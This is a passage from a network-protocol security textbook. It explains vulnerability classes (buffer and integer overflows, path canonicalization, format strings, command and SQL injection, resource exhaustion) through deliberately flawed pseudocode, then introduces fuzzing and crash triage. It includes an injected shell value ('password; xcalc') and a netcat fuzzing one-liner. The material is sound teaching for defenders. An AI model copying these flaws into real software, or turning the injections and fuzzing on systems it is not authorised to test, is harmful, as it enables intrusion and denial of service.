loop if it has already read 32 bytes, the maximum the stack buffer can hold. Unfortunately, to ensure that the string buffer is suitably terminated, a zero byte is written to the last position available in the buffer ➍. At this point, i has the value of 32. But because languages like C start buffer indexing from 0, this actually means it will write 0 to the 33rd element of the buffer, thereby causing corruption, as shown in Figure 9-2. |||||||||||||||||||| |||||||||||||||||||| Figure 9-2: An off-by-one error memory corruption This results in an off-by-one error (due to the shift in index position), a common error in memory-unsafe languages with zero-based buffer indexing. If the overwritten value is important—for example, if it is the return address for the function—this vulnerability can be exploitable. Variable-Length Buffer Overflows An application doesn’t have to use fixed-length buffers to stored protocol data. In most situations, it’s possible for the application to allocate a buffer of the correct size for the data being stored. However, if the application incorrectly calculates the buffer size, a variable-length buffer overflow can occur. As the length of the buffer is calculated at runtime based on the length of the protocol data, you might think a variable-length buffer overflow is unlikely to be a real-world vulnerability. But this vulnerability can still occur in a number of ways. For one, an application might simply incorrectly calculate the buffer length. (Applications should be rigorously tested prior to being made generally available, but that’s not always the case.) A bigger issue occurs if the calculation induces undefined behavior by the language or platform. For example, Listing 9-3 demonstrates a common way in which the length calculation is incorrect. def read_uint32_array() { uint32 len; uint32[] buf; // Read the number of words from the network ➊ len = read_uint32(); // Allocate memory buffer ➋ buf = malloc(len * sizeof(uint32)); // Read values for(uint32 i = 0; i < len; ++i) { ➌ buf[i] = read_uint32(); } printf("Read in %d uint32 values\n", len); Technet24 |||||||||||||||||||| |||||||||||||||||||| } Listing 9-3: An incorrect allocation length calculation Here the memory buffer is dynamically allocated at runtime to contain the total size of the input data from the protocol. First, the code reads a 32-bit integer, which it uses to determine the number of following 32-bit values in the protocol ➊. Next, it determines the total allocation size and then allocates a buffer of a corresponding size ➋. Finally, the code starts a loop that reads each value from the protocol into the allocated buffer ➌. What could possibly go wrong? To answer, let’s take a quick look at integer overflows. Integer Overflows At the processor instruction level, integer arithmetic operations are commonly performed using modulo arithmetic. Modulo arithmetic allows values to wrap if they go above a certain value, which is called the modulus. A processor uses modulo arithmetic if it supports only a certain native integer size, such as 32 or 64 bits. This means that the result of any arithmetic operation must always be within the ranges allowed for the fixed-size integer value. For example, an 8-bit integer can take only the values between 0 and 255; it cannot possibly represent any other values. Figure 9-3 shows what happens when you multiply a value by 4, causing the integer to overflow. Figure 9-3: A simple integer overflow Although this figure shows 8-bit integers for the sake of brevity, the same logic applies to 32-bit integers. When we multiply the original length 0x41 or 65 by 4, the result is 0x104 or 260. That result can’t possibly fit into an 8-bit integer with a range of 0 to 255. So the processor drops the overflowed bit (or more likely stores it in a special flag indicating that an overflow has occurred), and the result is the value 4—not what we expected. The processor might issue an error to indicate that an overflow has occurred, but memory-unsafe programming languages typically ignore this sort of error. In fact, the act of wrapping the integer value is used in architectures such as x86 to indicate the signed result of an operation. Higher-level languages might indicate the error, or they might not support integer overflow at all, for instance, by extending the size of the integer on demand. |||||||||||||||||||| |||||||||||||||||||| Returning to Listing 9-3, you can see that if an attacker supplies a suitably chosen value for the buffer length, the multiplication by 4 will overflow. This results in a smaller number being allocated to memory than is being transmitted over the network. When the values are being read from the network and inserted into the allocated buffer, the parser uses the original length. Because the original length of the data doesn’t match up to the size of the allocation, values will be written outside of the buffer, causing memory corruption. WHAT HAPPENS IF WE ALLOCATE ZERO BYTES? Consider what happens when we calculate an allocation length of zero bytes. Would the allocation simply fail because you can’t allocate a zero-length buffer? As with many issues in languages like C, it is up to the implementation to determine what occurs (the dreaded implementation-defined behavior). In the case of the C allocator function, malloc, passing zero as the requested size can return a failure, or it can return a buffer of indeterminate size, which hardly instills confidence. Out-of-Bounds Buffer Indexing You’ve already seen that memory-unsafe languages do not perform bounds checks. But sometimes a vulnerability occurs because the size of the buffer is incorrect, leading to memory corruption. Out-of-bounds indexing stems from a different root cause: instead of incorrectly specifying the size of a data value, we’ll have some control over the position in the buffer we’ll access. If incorrect bounds checking is done on the access position, a vulnerability exists. The vulnerability can in many cases be exploited to write data outside the buffer, leading to selective memory corruption. Or it can be exploited by reading a value outside the buffer, which could lead to information disclosure or even remote code execution. Listing 9-4 shows an example that exploits the first case—writing data outside the buffer. ➊ byte app_flags[32]; def update_flag_value() { ➋ byte index = read_byte(); byte value = read_byte(); printf("Writing %d to index %d\n", value, index); ➌ app_flags[index] = value; } Listing 9-4: Writing to an out-of-bound buffer index This short example shows a protocol with a common set of flags that can be updated by Technet24 |||||||||||||||||||| |||||||||||||||||||| the client. Perhaps it’s designed to control certain server properties. The listing defines a fixed buffer of 32 flags at ➊. At ➋ it reads a byte from the network, which it will use as the index (with a range of 0 to 255 possible values), and then it writes the byte to the flag buffer ➌. The vulnerability in this case should be obvious: an attacker can provide values outside the range of 0 to 32 with the index, leading to selective memory corruption. Out-of-bounds indexing doesn’t just have to involve writing. It works just as well when values are read from a buffer with an incorrect index. If the index were used to read a value and return it to the client, a simple information disclosure vulnerability would exist. A particularly critical vulnerability could occur if the index were used to identify functions within an application to run. This usage could be something simple, such as using a command identifier as the index, which would usually be programmed by storing memory pointers to functions in a buffer. The index is then used to look up the function used to handle the specified command from the network. Out-of-bounds indexing would result in reading an unexpected value from memory that would be interpreted as a pointer to a function. This issue can easily result in exploitable remote code execution vulnerabilities. Typically, all that is required is finding an index value that, when read as a function pointer, would cause execution to transfer to a memory location an attacker can easily control. Data Expansion Attack Even modern, high-speed networks compress data to reduce the number of raw octets being sent, whether to improve performance by reducing data transfer time or to reduce bandwidth costs. At some point, that data must be decompressed, and if compression is done by an application, data expansion attacks are possible, as shown in Listing 9-5. void read_compressed_buffer() { byte buf[]; uint32 len; int i = 0; // Read the decompressed size ➊ len = read_uint32(); // Allocate memory buffer ➋ buf = malloc(len); ➌ gzip_decompress_data(buf) printf("Decompressed in %d bytes\n", len); } Listing 9-5: Example code vulnerable to a data expansion attack Here, the compressed data is prefixed with the total size of the decompressed data. The size is read from the network ➊ and is used to allocate the required buffer ➋. After that, a call is made to decompress the data to the buffer ➌ using a streaming algorithm, such as |||||||||||||||||||| |||||||||||||||||||| gzip. The code does not check the decompressed data to see if it will actually fit into the allocated buffer. Of course, this attack isn’t limited to compression. Any data transformation process, whether it’s encryption, compression, or text encoding conversions, can change the data size and lead to an expansion attack. Dynamic Memory Allocation Failures A system’s memory is finite, and when the memory pool runs dry, a dynamic memory allocation pool must handle situations in which an application needs more. In the C language, this usually results in an error value being returned from the allocation functions (usually a NUL pointer); in other languages, it might result in the termination of the environment or the generation of an exception. Several possible vulnerabilities may arise from not correctly handling a dynamic memory allocation failure. The most obvious is an application crash, which can lead to a denial-of-service condition. Default or Hardcoded Credentials When one is deploying an application that uses authentication, default credentials are commonly added as part of the installation process. Usually, these accounts have a default username and password associated with them. The defaults create a problem if the administrator deploying the application does not reconfigure the credentials for these accounts prior to making the service available. A more serious problem occurs when an application has hardcoded credentials that can be changed only by rebuilding the application. These credentials may have been added for debugging purposes during development and not removed before final release. Or they could be an intentional backdoor added with malicious intent. Listing 9-6 shows an example of authentication compromised by hardcoded credentials. def process_authentication() { ➊ string username = read_string(); string password = read_string(); // Check for debug user, don't forget to remove this before release ➋ if(username == "debug") { return true; } else { ➌ return check_user_password(username, password); } } Listing 9-6: An example of default credentials Technet24 |||||||||||||||||||| |||||||||||||||||||| The application first reads the username and password from the network ➊ and then checks for a hardcoded username, debug ➋. If the application finds username debug, it automatically passes the authentication process; otherwise, it follows the normal checking process ➌. To exploit such a default username, all you’d need to do is log in as the debug user. In a real-world application, the credentials might not be that simple to use. The login process might require you to have an accepted source IP address, send a magic string to the application prior to login, and so on. User Enumeration Most user-facing authentication mechanisms use usernames to control access to resources. Typically, that username will be combined with a token, such as a password, to complete authentication. The user identity doesn’t have to be a secret: usernames are often a publicly available email address. There are still some advantages to not allowing someone, especially unauthenticated users, to gain access to this information. By identifying valid user accounts, it is more likely that an attacker could brute force passwords. Therefore, any vulnerability that discloses the existence of valid usernames or provides access to the user list is an issue worth identifying. A vulnerability that discloses the existence of users is shown in Listing 9-7. def process_authentication() { string username = read_string(); string password = read_string(); ➊ if(user_exists(username) == false) { ➋ write_error("User " + username " doesn't exist"); } else { ➌ if(check_user_password(username, password)) { write_success("User OK"); } else { ➍ write_error("User " + username " password incorrect"); } } } Listing 9-7: Disclosing the existence of users in an application The listing shows a simple authentication process where the username and password are read from the network. It first checks for the existence of a user ➊; if the user doesn’t exist, an error is returned ➋. If the user exists, the listing checks the password for that user ➌. Again, if this fails, an error is written ➍. You’ll notice that the two error messages in ➋ and ➍ are different depending on whether the user does not exist or only the password is |||||||||||||||||||| |||||||||||||||||||| incorrect. This information is sufficient to determine which usernames are valid. By knowing a username, an attacker can more easily brute force valid authentication credentials. (It’s simpler to guess only a password rather than both a password and username.) Knowing a username can also give an attacker enough information to mount a successful social-engineering attack that would convince a user to disclose their password or other sensitive information. Incorrect Resource Access Protocols that provide access to resources, such as HTTP or other file-sharing protocols, use an identifier for the resource you want to access. That identifier could be a file path or other unique identifier. The application must resolve that identifier in order to access the target resource. On success, the contents of the resource are accessed; otherwise, the protocol throws an error. Several vulnerabilities can affect such protocols when they’re processing resource identifiers. It’s worth testing for all possible vulnerabilities and carefully observing the response from the application. Canonicalization If the resource identifier is a hierarchical list of resources and directories, it’s normally referred to as a path. Operating systems typically define the way to specify relative path information is to use two dots (..) to indicate a parent directory relationship. Before a file can be accessed, the OS must find it using this relative path information. A very naive remote file protocol could take a path supplied by a remote user, concatenate it with a base directory, and pass that directly to the OS, as shown in Listing 9-8. This is known as a canonicalization vulnerability. def send_file_to_client() { ➊ string name = read_string(); // Concatenate name from client with base path ➋ string fullPath = "/files" + name; ➌ int fd = open(fullPath, READONLY); // Read file to memory ➍ byte data[] read_to_end(fd); // Send to client ➎ write_bytes(data, len(data)); } Listing 9-8: A path canonicalization vulnerability This listing reads a string from the network that represents the name of the file to Technet24 |||||||||||||||||||| |||||||||||||||||||| access ➊. This string is then concatenated with a fixed base path into the full path ➋ to allow access only to a limited area of the filesystem. The file is then opened by the operating system ➌, and if the path contains relative components, they are resolved. Finally, the file is read into memory ➍ and returned to the client ➎. If you find code that performs this same sequence of operations, you’ve identified a canonicalization vulnerability. An attacker could send a relative path that is resolved by the OS to a file outside the base directory, resulting in sensitive files being disclosed, as shown in Figure 9-4. Even if an application does some checking on the path before sending it to the OS, the application must correctly match how the OS will interpret the string. For example, on Microsoft Windows backslashes (\) and forward slashes (/) are acceptable as path separators. If an application checks only backslashes, the standard for Windows, there might still be a vulnerability. |||||||||||||||||||| |||||||||||||||||||| Figure 9-4: A normal path canonicalization operation versus a vulnerable one Although having the ability to download files from a system might be enough to Technet24 |||||||||||||||||||| |||||||||||||||||||| compromise it, a more serious issue results if the canonicalization vulnerability occurs in file upload protocols. If you can upload files to the application-hosting system and specify an arbitrary path, it’s much easier to compromise a system. You could, for example, upload scripts or other executable content to the system and get the system to execute that content, leading to remote code execution. Verbose Errors If, when an application attempts to retrieve a resource, the resource is not found, applications typically return some error information. That error can be as simple as an error code or a full description of what doesn’t exist; however, it should not disclose any more information than required. Of course, that’s not always the case. If an application returns an error message when requesting a resource that doesn’t exist and inserts local information about the resource being accessed into the error, a simple vulnerability is present. If a file was being accessed, the error might contain the local path to the file that was passed to the OS: this information might prove useful for someone trying to get further access to the hosting system, as shown in Listing 9-9. def send_file_to_client_with_error() { ➊ string name = read_string(); // Concatenate name from client with base path ➋ string fullPath = "/files" + name; ➌ if(!exist(fullPath)) { ➍ write_error("File " + fullPath + " doesn't exist"); } else { ➎ write_file_to_client(fullPath); } } Listing 9-9: An error message information disclosure This listing shows a simple example of an error message being returned to a client when a requested file doesn’t exist. At ➊ it reads a string from the network that represents the name of the file to access. This string is then concatenated with a fixed base path into the full path at ➋. The existence of the file is checked with the operating system at ➌. If the file doesn’t exist, the full path to the file is added to an error string and returned to the client ➍; otherwise, the data is returned ➎. The listing is vulnerable to disclosing the location of the base path on the local filesystem. Furthermore, the path could be used with other vulnerabilities to get more access to the system. It could also disclose the current user running the application if, for example, the resource directory was in the user’s home directory. |||||||||||||||||||| |||||||||||||||||||| Memory Exhaustion Attacks The resources of the system on which an application runs are finite: available disk space, memory, and processing power have limits. Once a critical system resource is exhausted, the system might start failing in unexpected ways, such as by no longer responding to new network connections. When dynamic memory is used to process a protocol, the risk of overallocating memory or forgetting to free the allocated blocks always exists, resulting in memory exhaustion. The simplest way in which a protocol can be susceptible to a memory exhaustion vulnerability is if it allocates memory dynamically based on an absolute value transmitted in the protocol. For example, consider Listing 9-10. def read_buffer() { byte buf[]; uint32 len; int i = 0; // Read the number of bytes from the network ➊ len = read_uint32(); // Allocate memory buffer ➋ buf = malloc(len); // Allocate bytes from network ➌ read_bytes(buf, len); printf("Read in %d bytes\n", len); } Listing 9-10: A memory exhaustion attack This listing reads a variable-length buffer from the protocol. First, it reads in the length in bytes ➊ as an unsigned 32-bit integer. Next, it tries to allocate a buffer of that length, prior to reading it from the network ➋. Finally, it reads the data from the network ➌. The problem is that an attacker could easily specify a very large length, say 2 gigabytes, which when allocated would block out a large region of memory that no other part of the application could access. The attacker could then slowly send data to the server (to try to prevent the connection from closing due to a timeout) and, by repeating this multiple times, eventually starve the system of memory. Most systems would not allocate physical memory until it was used, thereby limiting the general impact on the system as a whole. However, this attack would be more serious on dedicated embedded systems where memory is at a premium and virtual memory is nonexistent. Storage Exhaustion Attacks Technet24 |||||||||||||||||||| |||||||||||||||||||| Storage exhaustion attacks are less likely to occur with today’s multi-terabyte hard disks but can still be a problem for more compact embedded systems or devices without storage. If an attacker can exhaust a system’s storage capacity, the application or others on that system could begin failing. Such an attack might even prevent the system from rebooting. For example, if an operating system needs to write certain files to disk before starting but can’t, a permanent denial-of-service condition can occur. The most common cause of this type of vulnerability is in the logging of operating information to disk. For example, if logging is very verbose, generating a few hundred kilobytes of data per connection, and the maximum log size has no restrictions, it would be fairly simple to flood storage by making repeated connections to a service. Such an attack might be particularly effective if an application logs data sent to it remotely and supports compressed data. In such a case, an attacker could spend very little network bandwidth to cause a large amount of data to be logged. CPU Exhaustion Attacks Even though today’s average smartphone has multiple CPUs at its disposal, CPUs can do only a certain number of tasks at one time. It is possible to cause a denial-of-service condition if an attacker can consume CPU resources with a minimal amount of effort and bandwidth. Although this can be done in several ways, I’ll discuss only two: exploiting algorithmic complexity and identifying external controllable parameters to cryptographic systems. Algorithmic Complexity All computer algorithms have an associated computational cost that represents how much work needs to be performed for a particular input to get the desired output. The more work an algorithm requires, the more time it needs from the system’s processor. In an ideal world, an algorithm should take a constant amount of time, no matter what input it receives. But that is rarely the case. Some algorithms become particularly expensive as the number of input parameters increases. For example, consider the sorting algorithm Bubble Sort. This algorithm inspects each value pair in a buffer and swaps them if the left value of the pair is greater than the right. This has the effect of bubbling the higher values to the end of the buffer until the entire buffer is sorted. Listing 9-11 shows a simple implementation. def bubble_sort(int[] buf) { do { bool swapped = false; int N = len(buf); for(int i = 1; i < N - 1; ++i) { if(buf[i-1] > buf[i]) |||||||||||||||||||| |||||||||||||||||||| { // Swap values swap( buf[i-1], buf[i] ); swapped = true; } } } while(swapped == false); } Listing 9-11: A simple Bubble Sort implementation The amount of work this algorithm requires is proportional to the number of elements (let’s call the number N) in the buffer you need to sort. In the best case, this necessitates a single pass through the buffer, requiring N iterations, which occurs when all elements are already sorted. In the worst case, when the buffer is sorted in reverse, the algorithm needs to repeat the sort process N 2 times. If an attacker could specify a large number of reverse- sorted values, the computational cost of doing this sort becomes significant. As a result, the sort could consume 100 percent of a CPU’s processing time and lead to denial-of-service. In a real-world example of this, it was discovered that some programming environments, including PHP and Java, used an algorithm for the hash table implementations that took N 2 operations in the worst case. A hash table is a data structure that holds values keyed to another value, such as a textual name. The keys are first hashed using a simple algorithm, which then determines a bucket into which the value is placed. The N 2 algorithm is used when inserting the new value into the bucket; ideally, there should be few collisions between the hash values of keys so the size of the bucket is small. But by crafting a set of keys with the same hash (but, crucially, different key values), an attacker could cause a denial-of-service condition on a network service (such as a web server) by sending only a few requests. BIG-O NOTATION Big-O notation, a common representation of computational complexity, represents the upper bound for an algorithm’s complexity. Table 9-1 lists some common Big-O notations for various algorithms, from least to most complex. Table 9-1: Big-O Notation for Worst-Case Algorithm Complexity Notation Description O(1) Constant time; the algorithm always takes the same amount of time. O(log N) Logarithmic; the worst case is proportional to the logarithm of the number of inputs. O(N) Linear time; the worst case is proportional to the number of inputs. Quadratic; the worst case is proportional to the square of the number of Technet24 |||||||||||||||||||| |||||||||||||||||||| O(N 2) inputs. O(2N) Exponential; the worst case is proportional to 2 raised to the power N. Bear in mind that these are worst-case values that don’t necessarily represent real- world complexity. That said, with knowledge of a specific algorithm, such as the Bubble Sort, there is a good chance that an attacker could intentionally trigger the worst case. Configurable Cryptography Cryptographic primitives processing, such as hashing algorithms, can also create a significant amount of computational workload, especially when dealing with authentication credentials. The rule in computer security is that passwords should always be hashed using a cryptographic digest algorithm before they are stored. This converts the password into a hash value, which is virtually impossible to reverse into the original password. Even if the hash was disclosed, it would be difficult to get the original password. But someone could still guess the password and generate the hash. If the guessed password matches when hashed, then they’ve discovered the original password. To mitigate this problem, it’s typical to run the hashing operation multiple times to increase an attacker’s computational requirement. Unfortunately, this process also increases computational cost for the application, which might be a problem when it comes to a denial-of-service condition. A vulnerability can occur if either the hashing algorithm takes an exponential amount of time (based on the size of the input) or the algorithm’s number of iterations can be specified externally. The relationship between the time required by most cryptographic algorithms and a given input is fairly linear. However, if you can specify the algorithm’s number of iterations without any sensible upper bound, processing could take as long as the attacker desired. Such a vulnerable application is shown in Listing 9-12. def process_authentication() { ➊ string username = read_string(); string password = read_string(); ➋ int iterations = read_int(); for(int i = 0; i < interations; ++i) { ➌ password = hash_password(password); } ➍ return check_user_password(username, password); } Listing 9-12: Checking a vulnerable authentication |||||||||||||||||||| |||||||||||||||||||| First, the username and password are read from the network ➊. Next, the hashing algorithm’s number of iterations is read ➋, and the hashing process is applied that number of times ➌. Finally, the hashed password is checked against one stored by the application ➍. Clearly, an attacker could supply a very large value for the iteration count that would likely consume a significant amount of CPU resources for an extended period of time, especially if the hashing algorithm is computationally complex. A good example of a cryptographic algorithm that a client can configure is the handling of public/private keys. Algorithms such as RSA rely on the computational cost of factoring a large public key value. The larger the key value, the more time it takes to perform encryption/decryption and the longer it takes to generate a new key pair. Format String Vulnerabilities Most programming languages have a mechanism to convert arbitrary data into a string, and it’s common to define some formatting mechanism to specify how the developer wants the output. Some of these mechanisms are quite powerful and privileged, especially in memory-unsafe languages. A format string vulnerability occurs when the attacker can supply a string value to an application that is then used directly as the format string. The best-known, and probably the most dangerous, formatter is used by the C language’s printf and its variants, such as sprintf, which print to a string. The printf function takes a format string as its first argument and then a list of the values to format. Listing 9-13 shows such a vulnerable application. def process_authentication() { string username = read_string(); string password = read_string(); // Print username and password to terminal printf(username); printf(password); return check_user_password(username, password)) } Listing 9-13: The printf format string vulnerability The format string for printf specifies the position and type of data using a %? syntax where the question mark is replaced by an alphanumeric character. The format specifier can also include formatting information, such as the number of decimal places in a number. An attacker who can directly control the format string could corrupt memory or disclose information about the current stack that might prove useful for further attacks. Table 9-2 shows a list of common printf format specifiers that an attacker could abuse. Table 9-2: List of Commonly Exploitable printf Format Specifiers Technet24 |||||||||||||||||||| |||||||||||||||||||| Format specifier Description Potential vulnerabilities %d, %p, %u, %x Prints integers Can be used to disclose information from the stack if returned to an attacker %s Prints a zero terminated string Can be used to disclose information from the stack if returned to an attacker or cause invalid memory accesses to occur, leading to denial-of- service %n Writes the current number of printed characters to a pointer specified in the arguments Can be used to cause selective memory corruption or application crashes Command Injection Most OSes, especially Unix-based OSes, include a rich set of utilities designed for various tasks. Sometimes developers decide that the easiest way to execute a particular task, say password updating, is to execute an external application or operating system utility. Although this might not be a problem if the command line executed is entirely specified by the developer, often some data from the network client is inserted into the command line to perform the desired operation. Listing 9-14 shows such a vulnerable application. def update_password(string username) { ➊ string oldpassword = read_string(); string newpassword = read_string(); if(check_user_password(username, oldpassword)) { // Invoke update_password command ➋ system("/sbin/update_password -u " + username + " -p " + newpassword); } } Listing 9-14: A password update vulnerable to command injection The listing updates the current user’s password as long as the original password is known ➊. It then builds a command line and invokes the Unix-style system function ➋. Although we don’t control the username or oldpassword parameters (they must be correct for the system call to be made), we do have complete control over newpassword. Because no sanitization is done, the code in the listing is vulnerable to command injection because the system function uses the current Unix shell to execute the command line. For example, we could specify a value for newpassword such as password; xcalc, which would first execute the password update command. Then the shell could execute xcalc as it treats the semicolon as |||||||||||||||||||| |||||||||||||||||||| a separator in a list of commands to execute. SQL Injection Even the simplest application might need to persistently store and retrieve data. Applications can do this in a number of ways, but one of the most common is to use a relational database. Databases offer many advantages, not least of which is the ability to issue queries against the data to perform complex grouping and analysis. The de facto standard for defining queries to relational databases is the Structured Query Language (SQL). This text-based language defines what data tables to read and how to filter that data to get the results the application wants. When using a text-based language there is a temptation is to build queries using string operations. However, this can easily result in a vulnerability like command injection: instead of inserting untrusted data into a command line without appropriately escaping, the attacker inserts data into a SQL query, which is executed on the database. This technique can modify the operation of the query to return known results. For example, what if the query extracted the current password for the authenticating user, as shown in Listing 9-15? def process_authentication() { ➊ string username = read_string(); string password = read_string(); ➋ string sql = "SELECT password FROM user_table WHERE user = '" + username "'"; ➌ return run_query(sql) == password; } Listing 9-15: An example of authentication vulnerable to SQL injection This listing reads the username and password from the network ➊. Then it builds a new SQL query as a string, using a SELECT statement to extract the password associated with the user from the user table ➋. Finally, it executes that query on the database and checks that the password read from the network matches the one in the database ➌. The vulnerability in this listing is easy to exploit. In SQL, the strings need to be enclosed in single quotes to prevent them from being interpreted as commands in the SQL statement. If a username is sent in the protocol with an embedded single quote, an attacker could terminate the quoted string early. This would lead to an injection of new commands into the SQL query. For example, a UNION SELECT statement would allow the query to return an arbitrary password value. An attacker could use the SQL injection to bypass the authentication of an application. SQL injection attacks can even result in remote code execution. For example, although disabled by default, Microsoft’s SQL Server’s database function xp_cmdshell allows you to execute OS commands. Oracle’s database even allows uploading arbitrary Java code. And Technet24 |||||||||||||||||||| |||||||||||||||||||| of course, it’s also possible to find applications that pass raw SQL queries over the network. Even if a protocol is not intended for controlling the database, there’s still a good chance that it can be exploited to access the underlying database engine. Text-Encoding Character Replacement In an ideal world, everyone would be able to use one type of text encoding for all different languages. But we don’t live in an ideal world, and we use multiple text encodings as discussed in Chapter 3, such as ASCII and variants of Unicode. Some conversions between text encodings cannot be round-tripped: converting from one encoding to another loses important information such that if the reverse process is applied, the original text can’t be restored. This is especially problematic when converting from a wide character set such as Unicode to a narrow one such as ASCII. It’s simply impossible to encode the entire Unicode character set in 7 bits. Text-encoding conversions manage this problem in one of two ways. The simplest approach replaces the character that cannot be represented with a placeholder, such as the question mark (?) character. This might be a problem if the data value refers to something where the question mark is used as a delimiter or as a special character, for example, as in URL parsing where it represents the beginning of a query string. The other approach is to apply a best-fit mapping. This is used for characters for which there is a similar character in the new encoding. For example, the quotation mark characters in Unicode have left-facing and right-facing forms that are mapped to specific code points, such as U+201C and U+201D for left and right double quotation marks. These are outside the ASCII range, but in a conversion to ASCII, they’re commonly replaced with the equivalent character, such as U+0022 or the quotation mark. Best-fit mapping can become a problem when the converted text is processed by the application. Although slightly corrupted text won’t usually cause much of a problem for a user, the automatic conversion process could cause the application to mishandle the data. The important implementation issue is that the application first verifies the security condition using one encoded form of a string. Then it uses the other encoded form of a string for a specific action, such as reading a resource or executing a command, as shown in Listing 9-16. def add_user() { ➊ string username = read_unicode_string(); // Ensure username doesn't contain any single quotes ➋ if(username.contains("'") == false) { // Add user, need to convert to ASCII for the shell ➌ system("/sbin/add_user '" + username.toascii() + "'"); } } |||||||||||||||||||| |||||||||||||||||||| Listing 9-16: A text conversion vulnerability In this listing, the application reads in a Unicode string representing a user to add to the system ➊. It will pass the value to the add_user command, but it wants to avoid a command injection vulnerability; therefore, it first ensures that the username doesn’t contain any single quote characters that could be misinterpreted ➋. Once satisfied that the string is okay, it converts it to ASCII (Unix systems typically work on a narrow character set, although many support UTF-8) and ensures that the value is enclosed with single quotes to prevent spaces from being misinterpreted ➌. Of course, if the best-fit mapping rules convert other characters back to a single quote, it would be possible to prematurely terminate the quoted string and return to the same sort of command injection vulnerabilities discussed earlier. Final Words This chapter showed you that many possible root causes exist for vulnerabilities, with a seemingly limitless number of variants in the wild. Even if something doesn’t immediately look vulnerable, persist. Vulnerabilities can appear in the most surprising places. I’ve covered vulnerabilities ranging from memory corruptions, causing an application to behave in a different manner than it was originally designed, to preventing legitimate users from accessing the services provided. It can be a complex process to identify all these different issues. As a protocol analyzer, you have a number of possible angles. It is also vital that you change your strategy when looking for implementation vulnerabilities. Take into account whether the application is written in memory-safe or unsafe languages, keeping in mind that you are less likely to find memory corruption in, for example, a Java application. Technet24 |||||||||||||||||||| |||||||||||||||||||| 10 FINDING AND EXPLOITING SECURITY VULNERABILITIES Parsing the structure of a complex network protocol can be tricky, especially if the protocol parser is written in a memory-unsafe programming language, such as C/C++. Any mistake could lead to a serious vulnerability, and the complexity of the protocol makes it difficult to analyze for such vulnerabilities. Capturing all the possible interactions between the incoming protocol data and the application code that processes it can be an impossible task. This chapter explores some of the ways you can identify security vulnerabilities in a protocol by manipulating the network traffic going to and from an application. I’ll cover techniques such as fuzz testing and debugging that allow you to automate the process of discovering security issues. I’ll also put together a quick-start guide on triaging crashes to determine their root cause and their exploitability. Finally, I’ll discuss the exploitation of common security vulnerabilities, what modern platforms do to mitigate exploitation, and ways you can bypass these exploit mitigations. Fuzz Testing Any software developer knows that testing the code is essential to ensure that the software behaves correctly. Testing is especially important when it comes to security. Vulnerabilities exist where a software application’s behavior differs from its original intent. In theory, a good set of tests ensures that this doesn’t happen. However, when working with network protocols, it’s likely you won’t have access to any of the application’s tests, especially in proprietary applications. Fortunately, you can create your own tests. Fuzz testing, commonly referred to as fuzzing, is a technique that feeds random, and sometimes not-so-random, data into a network protocol to force the processing application to crash in order to identify vulnerabilities. This technique tends to yield results no matter the complexity of the network. Fuzz testing involves producing multiple test cases, essentially modified network protocol structures, which are then sent to an application for processing. These test cases can be generated automatically using random modifications or under direction from the analyst. The Simplest Fuzz Test Developing a set of fuzz tests for a particular protocol is not necessarily a complex task. At its simplest, a fuzz test can just send random garbage to the network endpoint and see what happens. |||||||||||||||||||| |||||||||||||||||||| For this example, we’ll use a Unix-style system and the Netcat tool. Execute the following on a shell to yield a simple fuzzer: $ cat /dev/urandom | nc hostname port This one-line shell command reads data from the system’s random number generator device using the cat command. The resulting random data is piped into netcat, which opens a connection to a specified endpoint as instructed. This simple fuzzer will likely only yield a crash on simple protocols with few requirements. It’s unlikely that simple random generation would create data that meets the requirements of a more complex protocol, such as valid checksums or magic values. That said, you’d be surprised how often a simple fuzz test can give you valuable results; because it’s so quick to do, you might as well try it. Just don’t use this fuzzer on a live industrial control system managing a nuclear reactor! Mutation Fuzzer Often, you’ll need to be more selective about what data you send to a network connection to get the most useful information. The simplest technique in this case is to use existing protocol data, mutate it in some way, and then send it to the receiving application. This mutation fuzzer can work surprisingly well. Let’s start with the simplest possible mutation fuzzer: a random bit flipper. Listing 10-1 shows a basic implementation of this type of fuzzer. void SimpleFuzzer(const char* data, size_t length) { size_t position = RandomInt(length); size_t bit = RandomInt(8); char* copy = CopyData(data, length); copy[position] ^= (1 << bit); SendData(copy, length); } Listing 10-1: A simple random bit flipper mutation fuzzer The SimpleFuzzer() function takes in the data to fuzz and the length of the data, and then generates a random number between 0 and the length of the data as the byte of the data to modify. Next, it decides which bit in that byte to change by generating a number between 0 and 7. Then it toggles the bit using the XOR operation and sends the mutated data to its network destination. This function works when, by random chance, the fuzzer modifies a field in the protocol that is then used incorrectly by the application. For example, your fuzzer might modify a length field set to 0x40 by converting it to a length field of 0x80000040. This modification might result in an integer overflow if the application multiplies it by 4 (for an array of 32-bit values, for example). This modification could also cause the data to be malformed, which would confuse the parsing code and introduce other types of Technet24 |||||||||||||||||||| |||||||||||||||||||| vulnerabilities, such as an invalid command identifier that results in the parser accessing an incorrect location in memory. You could mutate more than a single bit in the data at a time. However, by mutating single bits, you’re more likely to localize the effect of the mutation to a similar area of the application’s code. Changing an entire byte could result in many different effects, especially if the value is used for a set of flags. You’ll also need to recalculate any checksums or critical fields, such as total length values after the data has been fuzzed. Otherwise, the resulting parsing of the data might fail inside a verification step before it ever gets to the area of the application code that processes the mutated value. Generating Test Cases When performing more complex fuzzing, you’ll need to be smarter with your modifications and understand the protocol to target specific data types. The more data that passes into an application for parsing, the more complex the application will be. In many cases, inadequate checks are made at edge cases of protocol values, such as length values; then, if we already know how the protocol is structured, we can generate our own test cases from scratch. Generating our own test cases gives us precise control over the protocol fields used and their sizes. However, test cases are more complex to develop, and careful thought must be given to the kinds you want to generate. Generating test cases allows you to test for types of protocol values that might never be used when you capture traffic to mutate. But the advantage is that you’ll exercise more of the application’s code and access areas of code that are likely to be less well tested. Vulnerability Triaging After you’ve run a fuzzer against a network protocol and the processing application has crashed, you’ve almost certainly found a bug. The next step is to find out whether that bug is a vulnerability and what type of vulnerability it might be, which depends on how and why the application crashed. To do this analysis, we use vulnerability triaging: taking a series of steps to search for the root cause of a crash. Sometimes the cause of the bug is clear and easy to track down. Sometimes a vulnerability causes corruption of an application seconds, if not hours, after the corruption occurs. This section describes ways to triage vulnerabilities and increase your chances of finding the root cause of a particular crash. Debugging Applications Different platforms allow different levels of control over your triaging. For an application running on Windows, macOS, or Linux, you can attach a debugger to the process. But on |||||||||||||||||||| |||||||||||||||||||| an embedded system, you might only have crash reports in the system log to go on. For debugging, I use CDB on Windows, GDB on Linux, and LLDB on macOS. All these debuggers are used from the command line, and I’ll provide some of the most useful commands for debugging your processes. Starting Debugging To start debugging, you’ll first need to attach the debugger to the application you want to debug. You can either run the application directly under the debugger from the command line or attach the debugger to an already-running process based on its 